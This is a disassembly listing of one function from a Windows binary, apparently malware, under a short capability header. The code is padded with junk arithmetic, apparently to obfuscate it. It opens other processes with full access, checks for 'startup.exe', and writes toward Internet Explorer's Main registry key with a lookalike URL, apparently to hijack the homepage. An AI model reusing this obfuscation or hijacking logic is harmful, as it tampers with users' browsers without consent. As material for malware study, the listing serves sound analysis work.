Function at 0x41da90
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x447e4d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x112c
call fcn.0042d750
mov eax, dword [0x45b4b0]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ebx, dword [0x459b3c]
mov esi, dword [0x459b58]
imul esi, esi, 0x171ed6e
mov edi, dword [0x459b44]
mov eax, 0x5e407cd
imul edi
sar edx, 0x14
mov ecx, edx
mov eax, ebx
imul eax, eax, 0x1a0fa8c
shr ecx, 0x1f
add ecx, edx
add eax, ecx
add eax, esi
shl eax, 1
mov dword [ebp - 0x10cc], eax
mov eax, 0x702fe9a3
imul edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10cc]
sub edx, eax
mov dword [ebp - 0x10cc], edx
mov edi, dword [0x459b40]
mov eax, 0x565ef47
imul ebx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10cc]
sub edx, eax
mov dword [str._r_____r____], edx
mov eax, 0x540f9495
imul edi
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10cc], eax
mov eax, 0x186e8b3d
imul edi
mov eax, dword [ebp - 0x10cc]
sar edx, 0x17
add eax, edx
mov edi, edx
mov edx, dword [0x459b38]
shr edi, 0x1f
imul edx, edx, 0x53d33c3
add edi, eax
mov eax, dword [0x459b50]
imul eax, eax, 0xbdb188
add edi, edx
mov edx, dword [0x459b54]
sub edi, eax
mov eax, 0x2742b221
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
xor ebx, ebx
add edi, ecx
add edi, esi
mov dword [ebp - 0x10fc], 0
mov dword [ebp - 4], ebx
mov dword [0x459b38], edi
mov dword [ebp - 0x10ec], ebx
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x10ec]
push ecx
push 0x44a324
push 0x17
push ebx
push 0x44e8e8
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ecx, dword [0x459b44]
mov dword [ebp - 0x10cc], eax
mov eax, 0x5e407cd
imul ecx
sar edx, 0x14
mov ebx, dword [0x459b48]
mov ecx, edx
imul ebx, ebx, 0x4905557
shr ecx, 0x1f
add ecx, edx
mov eax, 0x702fe9a3
imul dword [0x459b4c]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b38]
mov edi, dword [0x459b58]
imul edx, edx, 0xd0a84b
sub ebx, eax
add ebx, edx
mov edx, dword [0x459b40]
mov eax, 0x4eb6fa85
imul edx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
mov esi, edi
add eax, edx
imul esi, esi, 0x171ed6e
sub ebx, eax
sub ebx, dword [0x459b54]
mov eax, dword [ebp - 0x10cc]
add ebx, ecx
test eax, eax
lea edx, [ebx + esi - 0x53d33c3]
mov dword [0x459b40], edx
jge 0x41dce5
mov edx, dword [0x459b4c]
mov edi, edx
mov eax, 0x545b9e19
imul edi, edi, 0x341f518
imul edx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
sub edi, eax
imul edx, edx, 0x2b75400
mov eax, dword [0x459b48]
imul eax, eax, 0xd0a84b
add edx, ecx
mov ecx, dword [0x459b50]
add edx, edi
add eax, edx
add eax, esi
lea edx, [eax + ecx - 0x53d33c3]
mov dword [0x459b44], edx
mov eax, dword [ebp - 0x10ec]
test eax, eax
mov byte [ebp - 4], 0
je 0x41dcde
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x420312
mov ecx, dword [0x459b50]
mov eax, 0x9d2b2fed
imul ecx, ecx, 0x18470b7
imul edi
add edx, edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x58945bfd
imul edi
imul edi, edi, 0x3cb4655
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
sub eax, edi
mov dword [0x459b48], eax
mov eax, dword [ebp - 0x10ec]
lea edx, [ebp - 0x1100]
push edx
mov dword [ebp - 0x1100], 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov ecx, dword [0x459b58]
mov eax, ecx
imul eax, eax, 0x171ed6e
mov dword [ebp - 0x10e8], eax
mov edi, dword [0x459b54]
mov eax, 0x5e407cd
imul dword [0x459b44]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10c8], eax
mov ebx, dword [0x459b50]
mov esi, dword [0x459b40]
imul ebx, ebx, 0x185d014
mov eax, 0x702fe9a3
imul edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10cc], eax
mov eax, dword [0x459b4c]
imul eax, eax, 0x53d33c3
add ebx, eax
mov edx, esi
imul edx, edx, 0xbdb188
add ebx, edx
mov eax, 0x2742b221
imul dword [0x459b3c]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10cc]
sub ebx, eax
mov eax, dword [ebp - 0x10c8]
add ebx, edx
mov edx, dword [ebp - 0x10e8]
add ebx, eax
mov eax, dword [ebp - 0x1100]
add ebx, edx
test eax, eax
mov dword [0x459b4c], ebx
je 0x41dcca
mov edx, dword [0x459b44]
imul ebx, ebx, 0x53d33c3
mov eax, dword [0x459b48]
imul edx, edx, 0x171ed6e
imul eax, eax, 0x185d014
sub eax, edx
sub eax, ebx
mov dword [ebp - 0x10f8], eax
mov eax, 0x4eb6fa85
imul dword [0x459b3c]
mov ebx, dword [ebp - 0x10c8]
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10f8]
sub edx, eax
mov eax, ecx
imul eax, eax, 0x4b280d2
add edx, ebx
add eax, edx
mov dword [0x459b50], eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x41ded7
mov esi, dword [0x459b38]
mov ecx, dword [str._r_____r____]
imul esi, esi, 0x18470b7
imul ecx, ecx, 0x2b75400
add esi, ecx
mov ecx, dword [0x459b48]
mov eax, 0x5e407cd
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x565ef47
imul ecx
mov eax, dword [ebp - 0x10e8]
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0x10cc]
sub esi, ecx
sub esi, edx
add esi, ebx
add esi, eax
mov ecx, 0x56d698
mov dword [0x459b54], esi
call fcn.00411b50
mov ecx, dword [0x459b58]
mov esi, dword [0x459b40]
mov edi, dword [0x459b54]
mov edx, dword [0x459b38]
imul ecx, ecx, 0x171ed6e
imul edi, edi, 0x53d33c3
mov ebx, dword [0x459b44]
imul esi, esi, 0x8aa118
mov eax, 0x545b9e19
imul edx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, ecx
mov dword [ebp - 0x10cc], eax
mov eax, 0x5e407cd
imul ebx
mov eax, dword [ebp - 0x10cc]
sar edx, 0x14
add eax, edx
mov ecx, edx
mov edx, dword [str._r_____r____]
shr ecx, 0x1f
add ecx, eax
mov eax, 0x540f9495
imul edx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, edi
add ecx, esi
mov dword [0x459b58], ecx
mov dword [ebp - 0x10cc], 0
mov edi, dword [ebp - 0x10cc]
cmp edi, dword [ebp - 0x1100]
jge 0x420290
mov esi, dword [0x459b3c]
imul ecx, ecx, 0x171ed6e
mov eax, esi
imul eax, eax, 0x1a0fa8c
add eax, ecx
mov dword [ebp - 0x10c8], eax
mov eax, 0x5e407cd
imul ebx
mov eax, dword [ebp - 0x10c8]
sar edx, 0x14
add eax, edx
mov ecx, edx
shr ecx, 0x1f
add ecx, eax
mov eax, 0x702fe9a3
imul ebx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
shl ecx, 1
sub ecx, eax
mov eax, 0x565ef47
imul esi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov dword [str._r_____r____], ecx
mov dword [ebp - 0x10e0], 0
mov eax, edi
mov word [ebp - 0x1120], 3
mov dword [ebp - 0x1118], eax
mov edi, dword [ebp - 0x1120]
mov ecx, dword [ebp - 0x10ec]
mov edx, dword [ecx]
lea esi, [ebp - 0x10e0]
push esi
sub esp, 0x10
mov esi, esp
mov dword [esi], edi
mov edi, dword [ebp - 0x111c]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1114]
push ecx
mov byte [ebp - 4], 3
mov dword [esi + 0xc], eax
call dword [edx + 0x20]
lea ecx, [ebp - 0x1120]
push ecx
mov edi, eax
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov ecx, dword [0x459b58]
mov eax, 0x5e407cd
imul dword [0x459b44]
mov esi, ecx
imul esi, esi, 0x171ed6e
sar edx, 0x14
mov ebx, dword [0x459b48]
mov eax, edx
imul ebx, ebx, 0x4905557
shr eax, 0x1f
add esi, edx
add esi, eax
mov eax, 0x702fe9a3
imul dword [0x459b4c]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b38]
imul edx, edx, 0xd0a84b
sub ebx, eax
add ebx, edx
mov edx, dword [0x459b40]
mov eax, 0x4eb6fa85
imul edx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b54]
sub ebx, eax
sub ebx, edx
test edi, edi
lea ebx, [ebx + esi - 0x53d33c3]
mov dword [0x459b40], ebx
jl 0x41e1d4
mov eax, 0x702fe9a3
imul edx
mov eax, dword [0x459b4c]
sar edx, 0x19
imul eax, eax, 0x53d33c3
mov edi, edx
shr edi, 0x1f
add edi, edx
mov edx, dword [0x459b50]
imul edx, edx, 0x185d014
add edi, edx
mov edx, ebx
imul edx, edx, 0xbdb188
add edi, eax
add edi, edx
mov eax, 0x2742b221
imul dword [0x459b3c]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [ebp - 0x10e0]
add edi, esi
test eax, eax
mov dword [0x459b4c], edi
mov dword [ebp - 0x10d4], 0
je 0x41e142
mov ecx, dword [eax]
lea edx, [ebp - 0x10d4]
push edx
push 0x44a36c
push eax
call dword [ecx]
mov ecx, dword [0x459b58]
mov ebx, dword [0x459b40]
mov eax, 0x5e407cd
imul dword [0x459b44]
sar edx, 0x14
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x540f9495
imul ebx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10c8], eax
mov eax, 0x186e8b3d
imul ebx
mov eax, dword [ebp - 0x10c8]
sar edx, 0x17
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, dword [0x459b38]
imul eax, eax, 0x53d33c3
add ebx, eax
mov eax, dword [0x459b50]
imul eax, eax, 0xbdb188
sub ebx, eax
mov eax, 0x2742b221
imul dword [0x459b54]
sar edx, 0x15
mov edi, ecx
imul edi, edi, 0x171ed6e
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [ebp - 0x10d4]
add ebx, esi
add ebx, edi
test eax, eax
mov dword [0x459b38], ebx
jne 0x41e1f1
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov byte [ebp - 4], 1
je 0x420278
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x420272
mov ebx, dword [0x459b4c]
mov eax, 0x545b9e19
imul ebx, ebx, 0x341f518
imul dword [0x459b4c]
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x2b75400
sub ebx, eax
add edx, esi
mov esi, dword [0x459b48]
mov eax, esi
imul eax, eax, 0xd0a84b
add edx, ebx
add eax, edx
mov edx, dword [0x459b50]
add eax, edi
lea edx, [eax + edx - 0x53d33c3]
xor ebx, ebx
mov dword [0x459b44], edx
mov dword [ebp - 0x10f0], ebx
imul esi, esi, 0x185d014
imul ecx, ecx, 0x4b280d2
mov edi, edx
mov eax, 0x5e407cd
imul edi, edi, 0x171ed6e
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
add eax, esi
mov edi, eax
mov eax, dword [0x459b4c]
imul eax, eax, 0x53d33c3
sub edi, eax
mov eax, 0x4eb6fa85
imul dword [0x459b3c]
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [ebp - 0x10d4]
add edi, ecx
lea edx, [ebp - 0x10f0]
push edx
mov dword [0x459b50], edi
mov ecx, dword [eax]
push eax
mov byte [ebp - 4], 5
call dword [ecx + 0x48]
cmp eax, ebx
jge 0x41e308
mov eax, dword [ebp - 0x10f0]
cmp eax, ebx
mov byte [ebp - 4], 4
je 0x41e2d7
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10d4]
cmp eax, ebx
mov byte [ebp - 4], 2
je 0x41e2eb
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10e0]
cmp eax, ebx
mov byte [ebp - 4], 1
je 0x420272
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x420272
mov esi, dword [0x459b50]
mov eax, 0x5e407cd
imul dword [0x459b44]
mov ecx, esi
imul ecx, ecx, 0x1a0fa8c
sar edx, 0x14
add ecx, edx
mov edi, edx
shr edi, 0x1f
add edi, ecx
mov ecx, dword [0x459b3c]
mov eax, 0x545b9e19
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
lea eax, [eax + edi*2 + 0x3409364]
mov edi, dword [ebp - 0x10f0]
sub eax, ecx
cmp edi, ebx
mov dword [0x459b3c], eax
mov dword [ebp - 0x10dc], ebx
je 0x41e385
mov ecx, dword [edi]
lea edx, [ebp - 0x10dc]
push edx
push 0x44a37c
push edi
call dword [ecx]
mov edi, dword [ebp - 0x10f0]
mov esi, dword [0x459b50]
imul esi, esi, 0x18470b7
mov ecx, dword [0x459b58]
mov eax, 0x5e407cd
imul dword [0x459b44]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x10c8], eax
mov eax, 0x9d2b2fed
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x58945bfd
imul ecx
sar edx, 0x17
add esi, edx
mov eax, edx
mov edx, ecx
imul edx, edx, 0x3cb4655
shr eax, 0x1f
add eax, esi
sub eax, edx
mov dword [0x459b48], eax
cmp dword [ebp - 0x10dc], ebx
mov byte [ebp - 4], 6
jne 0x41e42a
cmp edi, ebx
mov byte [ebp - 4], 4
je 0x41e403
mov eax, dword [edi]
push edi
call dword [eax + 8]
mov ecx, dword [0x459b58]
mov eax, dword [ebp - 0x10d4]
cmp eax, ebx
mov byte [ebp - 4], 2
je 0x41e41d
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x459b58]
mov eax, dword [ebp - 0x10e0]
cmp eax, ebx
jmp 0x420266
push ebx
call fcn.0042d717
sub eax, dword [0x56d8f0]
add esp, 4
cmp eax, 0x708
jge 0x41e716
mov ecx, dword [0x459b3c]
mov eax, dword [0x459b58]
mov esi, dword [0x459b44]
imul eax, eax, 0x171ed6e
mov edi, ecx
imul edi, edi, 0x1a0fa8c
add edi, eax
mov eax, 0x5e407cd
imul esi
sar edx, 0x14
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
shl eax, 1
mov edi, eax
mov eax, 0x702fe9a3
imul esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x565ef47
imul ecx
mov eax, dword [ebp - 0x10d4]
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
lea ecx, [ebp - 0x1108]
push ecx
mov dword [str._r_____r____], edi
mov edx, dword [eax]
push eax
call dword [edx + 0x94]
mov eax, dword [ebp - 0x1108]
lea edx, [ebp - 0x1104]
push edx
push eax
mov dword [ebp - 0x1104], ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [0x459b44]
mov edi, dword [0x459b50]
mov eax, 0x5e407cd
imul ecx
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x459b3c]
mov eax, 0x545b9e19
imul edx
mov esi, edi
imul esi, esi, 0x1a0fa8c
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
add esi, ecx
lea edx, [eax + esi*2 + 0x3409364]
mov esi, dword [str._r_____r____]
mov eax, dword [ebp - 0x1104]
sub edx, esi
cmp eax, ebx
mov dword [0x459b3c], edx
je 0x41f360
mov edx, dword [0x459b4c]
imul esi, esi, 0x2b75400
mov ebx, edx
mov eax, 0x545b9e19
imul ebx, ebx, 0x341f518
imul edx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b58]
sub ebx, eax
imul edx, edx, 0x171ed6e
mov eax, dword [0x459b48]
imul eax, eax, 0xd0a84b
add ebx, edx
mov edx, dword [ebp - 0x1104]
add esi, ecx
push edx
add esi, ebx
add eax, esi
push 0
lea ecx, [eax + edi - 0x53d33c3]
push 0x1f0fff
mov dword [0x459b44], ecx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x41e716
mov ecx, dword [0x459b44]
mov edi, dword [0x459b58]
imul edi, edi, 0x171ed6e
mov eax, 0x5e407cd
imul ecx
mov ecx, dword [0x459b54]
sar edx, 0x14
add edi, edx
mov ebx, edx
mov eax, 0x702fe9a3
imul ecx
mov eax, dword [0x459b50]
mov ecx, dword [0x459b4c]
imul eax, eax, 0x185d014
sar edx, 0x19
imul ecx, ecx, 0x53d33c3
shr ebx, 0x1f
add ebx, edi
mov edi, edx
add ebx, edx
mov edx, dword [0x459b40]
shr edi, 0x1f
imul edx, edx, 0xbdb188
add edi, ebx
add edi, eax
add edi, ecx
mov ecx, dword [0x459b3c]
add edi, edx
mov eax, 0x2742b221
imul ecx
mov cx, word [0x44ad34]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, byte [0x44ad36]
sub edi, eax
mov dword [0x459b4c], edi
mov word [ebp - 0x2c4], cx
xor eax, eax
mov byte [ebp - 0x2c2], dl
mov ecx, 0x3f
lea edi, [ebp - 0x2c1]
rep stosd dword es:[edi], eax
push 0x100
stosb byte es:[edi], al
lea eax, [ebp - 0x2c4]
push eax
push 0
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
mov esi, dword [0x459b38]
mov ecx, dword [0x459b58]
imul esi, esi, 0x18470b7
imul ecx, ecx, 0x171ed6e
add esi, ecx
mov ecx, dword [0x459b44]
mov eax, 0x5e407cd
imul ecx
mov ecx, dword [0x459b54]
sar edx, 0x14
add esi, edx
mov edi, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x2b75400
shr edi, 0x1f
add edi, esi
add edi, edx
mov eax, 0x702fe9a3
imul ecx
mov ecx, dword [0x459b48]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x5e407cd
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x565ef47
imul ecx
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0x2c4]
sub edi, ecx
push str.startup.exe
push edx
mov dword [0x459b54], edi
call fcn.0042db80
add esp, 8
test eax, eax
jne 0x41f3e5
mov ecx, dword [0x459b58]
mov esi, dword [0x459b38]
imul esi, esi, 0x18470b7
mov eax, ecx
imul eax, eax, 0x171ed6e
add esi, eax
mov eax, 0x5e407cd
imul dword [0x459b44]
sar edx, 0x14
add esi, edx
mov edi, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x2b75400
shr edi, 0x1f
add edi, esi
add edi, edx
mov edx, dword [0x459b54]
mov esi, dword [0x459b48]
mov eax, 0x702fe9a3
imul edx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x5e407cd
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x565ef47
imul esi
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10fc]
sub edi, eax
mov eax, dword [ebp + 8]
inc edx
test eax, eax
mov dword [0x459b54], edi
mov dword [ebp - 0x10fc], edx
je 0x4201b2
push ecx
lea edx, [ebp - 0x10d4]
mov ecx, esp
mov dword [ebp - 0x10d8], esp
push edx
call fcn.00407670
mov ecx, 0x56d698
call fcn.00406b20
test al, al
jne 0x4201ac
mov edi, dword [0x459b44]
mov ebx, dword [0x459b3c]
mov esi, dword [0x459b58]
mov eax, 0x5e407cd
imul esi, esi, 0x171ed6e
imul edi
sar edx, 0x14
mov ecx, edx
mov eax, ebx
imul eax, eax, 0x1a0fa8c
shr ecx, 0x1f
add ecx, edx
add eax, ecx
add eax, esi
shl eax, 1
mov dword [ebp - 0x10c8], eax
mov eax, 0x702fe9a3
imul edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10c8]
sub edx, eax
mov dword [ebp - 0x10c8], edx
mov eax, 0x565ef47
imul ebx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10c8]
sub edx, eax
mov edi, dword [0x459b48]
mov dword [str._r_____r____], edx
imul edi, edi, 0x4905557
mov edx, dword [0x459b4c]
mov eax, 0x702fe9a3
imul edx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x459b38]
imul edx, edx, 0xd0a84b
sub edi, eax
add edi, edx
mov edx, dword [0x459b40]
mov eax, 0x4eb6fa85
imul edx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, dword [0x459b54]
mov eax, dword [ebp - 0x10d4]
add edi, ecx
lea ecx, [edi + esi - 0x53d33c3]
mov dword [0x459b40], ecx
mov edx, dword [eax]
lea ecx, [ebp - 0x1110]
push ecx
push eax
call dword [edx + 0x78]
mov ecx, dword [0x459b44]
mov esi, dword [0x459b58]
mov eax, 0x5e407cd
imul esi, esi, 0x171ed6e
imul ecx
mov ecx, dword [0x459b54]
sar edx, 0x14
add esi, edx
mov edi, edx
mov eax, 0x702fe9a3
imul ecx
shr edi, 0x1f
add edi, esi
sar edx, 0x19
mov esi, edx
mov eax, dword [0x459b4c]
mov ecx, dword [0x459b40]
imul eax, eax, 0x53d33c3
add edi, edx
imul ecx, ecx, 0xbdb188
mov edx, dword [0x459b50]
imul edx, edx, 0x185d014
shr esi, 0x1f
add esi, edi
add esi, edx
add esi, eax
add esi, ecx
mov ecx, dword [0x459b3c]
mov eax, 0x2742b221
imul ecx
mov ecx, dword [ebp - 0x1110]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
push ecx
mov dword [0x459b4c], esi
call fcn.00422fc0
mov ecx, dword [0x459b3c]
mov edx, dword [0x459b58]
mov esi, dword [0x459b44]
imul edx, edx, 0x171ed6e
mov edi, ecx
mov dword [ebp - 0x10e4], eax
imul edi, edi, 0x1a0fa8c
add edi, edx
mov eax, 0x5e407cd
imul esi
sar edx, 0x14
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
shl eax, 1
mov edi, eax
mov eax, 0x702fe9a3
imul esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x565ef47
imul ecx
mov eax, dword [ebp - 0x10dc]
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
lea ecx, [ebp - 0x110c]
push ecx
mov dword [str._r_____r____], edi
mov edx, dword [eax]
push eax
xor esi, esi
call dword [edx + 0x90]
mov edx, dword [0x459b44]
mov edi, dword [0x459b50]
mov ecx, eax
imul edi, edi, 0x1a0fa8c
mov eax, 0x5e407cd
imul edx
sar edx, 0x14
add edi, edx
mov ebx, edx
mov edx, dword [0x459b3c]
mov eax, 0x545b9e19
imul edx
sar edx, 0x17
shr ebx, 0x1f
mov eax, edx
shr eax, 0x1f
add ebx, edi
add eax, edx
mov edi, dword [str._r_____r____]
lea edx, [eax + ebx*2 + 0x3409364]
sub edx, edi
test ecx, ecx
mov dword [0x459b3c], edx
jne 0x41ea4a
mov eax, dword [ebp - 0x110c]
push eax
call fcn.00422fc0
mov esi, eax
push 0
call fcn.0042d717
sub eax, dword [0x56d654]
add esp, 4
cmp eax, 5
jle 0x41f950
test esi, esi
je 0x41ea82
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41ea70
sub eax, edx
cmp eax, 5
ja 0x41f950
mov ecx, dword [0x459b4c]
mov eax, 0x545b9e19
imul ecx
mov esi, ecx
sar edx, 0x17
imul esi, esi, 0x341f518
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x459b58]
imul edx, edx, 0x171ed6e
mov edi, dword [0x459b50]
sub esi, ecx
mov ecx, dword [0x459b44]
add esi, edx
mov eax, 0x5e407cd
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x14
imul ecx, ecx, 0x2b75400
add esi, edx
mov eax, edx
mov edx, dword [0x459b48]
imul edx, edx, 0xd0a84b
shr eax, 0x1f
add eax, esi
add ecx, edi
add ecx, eax
lea eax, [edx + ecx - 0x53d33c3]
mov dword [0x459b44], eax
mov eax, str.http:__www.baiduo.org_
lea ecx, [ebp - 0x1c4]
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x41eb03
lea ecx, [ebp - 0x1c4]
push ecx
call fcn.00422e60
mov dword [ebp - 0x10d8], eax
mov ecx, dword [0x459b38]
mov eax, 0x5e407cd
imul dword [0x459b44]
sar edx, 0x14
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov eax, 0x545b9e19
imul ecx
sar edx, 0x17
mov ecx, dword [str._r_____r____]
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x459b58]
imul edx, edx, 0x171ed6e
add esi, edx
mov eax, 0x540f9495
imul ecx
mov ecx, dword [0x459b54]
sar edx, 0x17
imul ecx, ecx, 0x53d33c3
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [str.sfdafsdafdsfdsfa]
mov edx, dword [0x459b40]
sub esi, ecx
imul edx, edx, 0x8aa118
mov ecx, dword [0x44ad18]
mov dword [ebp - 0x144], eax
mov eax, dword [0x44ad1c]
mov dword [ebp - 0x13c], eax
mov al, byte [0x44ad24]
mov dword [ebp - 0x140], ecx
mov ecx, dword [0x44ad20]
mov byte [ebp - 0x134], al
xor eax, eax
mov dword [ebp - 0x138], ecx
mov ecx, 0x3c
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
add esi, ebx
add edx, esi
mov ecx, 0xa
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x459b3c]
mov dword [0x459b58], edx
imul edx, edx, 0x171ed6e
mov eax, ecx
imul eax, eax, 0x1a0fa8c
add eax, ebx
add edx, eax
shl edx, 1
movsw word es:[edi], word [esi]
mov esi, edx
mov eax, 0x702fe9a3
imul dword [0x459b44]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x565ef47
imul ecx
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov dword [ebp - 0x10f8], 0
mov dword [str._r_____r____], esi
lea edx, [ebp - 0x10f8]
push edx
push 0xf003f
push 0
lea eax, [ebp - 0x40]
push eax
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41eefe
mov ecx, dword [0x459b44]
mov edi, dword [0x459b50]
mov eax, 0x5e407cd
imul ecx
mov ecx, dword [0x459b58]
sar edx, 0x14
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x9d2b2fed
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, edi
imul ebx, ebx, 0x18470b7
sub ebx, eax
mov eax, 0x58945bfd
imul ecx
sar edx, 0x17
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, dword [0x459b40]
mov edx, ecx
imul ecx, ecx, 0x171ed6e
imul edx, edx, 0x3cb4655
sub eax, edx
mov dword [0x459b48], eax
mov eax, 0x540f9495
imul ebx
sar edx, 0x17
add ecx, esi
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x186e8b3d
imul ebx
imul ebx, ebx, 0xbdb188
sar edx, 0x17
add esi, edx
mov eax, edx
mov edx, dword [0x459b38]
imul edx, edx, 0x53d33c3
shr eax, 0x1f
add eax, esi
add eax, edx
mov edx, edi
imul edi, edi, 0x185d014
